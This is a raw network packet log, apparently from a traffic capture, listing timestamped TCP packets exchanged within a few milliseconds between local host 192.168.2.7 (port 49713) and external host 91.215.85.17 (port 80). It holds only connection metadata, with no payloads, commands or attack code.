Dec 2, 2023 18:01:45.606096029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606105089 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606141090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606149912 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606154919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606167078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606179953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606192112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606198072 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606204987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606218100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606224060 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606237888 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606276035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606288910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606300116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606311083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606314898 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606323004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606336117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606347084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606358051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606364012 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606364012 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606369972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606381893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606386900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606395006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606408119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606420994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606432915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606445074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606453896 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606453896 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606453896 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606479883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606487989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606502056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606513023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606523991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606534958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606543064 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606547117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606559992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606563091 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606573105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606586933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606595039 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606599092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606614113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606626987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606640100 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606640100 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606651068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606662989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606663942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606726885 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606765985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606779099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606841087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606847048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606854916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606867075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606879950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606892109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606894970 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606906891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606920004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606959105 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606960058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606997013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607009888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607022047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607033014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607044935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607055902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607059002 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607059002 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607068062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607079983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607091904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607091904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607091904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607105017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607116938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607130051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607132912 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607141972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607155085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607167959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607180119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607180119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607180119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607197046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607209921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607222080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607234001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607239962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607239962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607244968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607251883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607261896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607274055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607285976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607295036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607297897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607310057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607321978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607325077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607335091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607351065 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607355118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607367039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607378960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607382059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607382059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607391119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607403994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607419014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607431889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607441902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607446909 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607446909 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607455969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607467890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607470036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607481003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607491970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607498884 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607505083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607518911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607518911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607533932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607546091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607558012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607562065 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607569933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607584000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607592106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607592106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607597113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607610941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607618093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607661009 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607671022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607686043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607696056 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607697010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607711077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607713938 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607733965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607745886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607757092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607762098 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607780933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607793093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607803106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607803106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607804060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607816935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607829094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607832909 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607841969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607853889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607892036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607892036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607923985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607935905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607948065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607959032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607969999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607980967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.607988119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607988119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.607994080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608016968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608028889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608028889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608058929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608072996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608083963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608094931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608118057 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608118057 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608164072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608176947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608187914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608200073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608211040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608215094 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608225107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608233929 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608238935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608252048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608258963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608264923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608277082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608288050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608299971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608304024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608304024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608311892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608325005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608336926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608352900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608352900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608366966 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608371019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608383894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608395100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608458042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608469963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608480930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608493090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608495951 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608495951 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608505964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608516932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608526945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608532906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608541965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608546972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608558893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608581066 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608593941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608593941 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608609915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608620882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608632088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608643055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608644962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608655930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608665943 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608670950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608683109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608689070 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608695030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608711958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608722925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608733892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608741045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608741045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608764887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608788013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608799934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608809948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608822107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608833075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608843088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608844042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608856916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608860016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608870029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608880997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608891010 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608911991 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.608915091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.608967066 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609003067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609015942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609026909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609039068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609076977 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609076977 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609153986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609155893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609158039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609165907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609173059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609179020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609191895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609204054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609220028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609220982 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609262943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609276056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609286070 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609288931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609297991 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609302998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609317064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609328032 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609328985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609375000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609375954 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609386921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609400988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609415054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609421968 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609426975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609440088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609441996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609452963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609464884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609491110 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609491110 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609518051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609529972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609540939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609553099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609565020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609576941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609577894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609577894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609590054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609612942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609625101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609627962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609627962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609637976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609667063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609671116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609683990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609697104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609697104 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609709978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609735966 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609750032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609762907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609774113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609785080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609792948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609802961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609821081 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609828949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609842062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609858990 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609870911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609884977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609896898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609910011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609925032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609941959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609963894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.609982014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.609997034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.610008955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.610021114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.610034943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.610038042 CET	49713	80	192.168.2.7	91.215.85.17
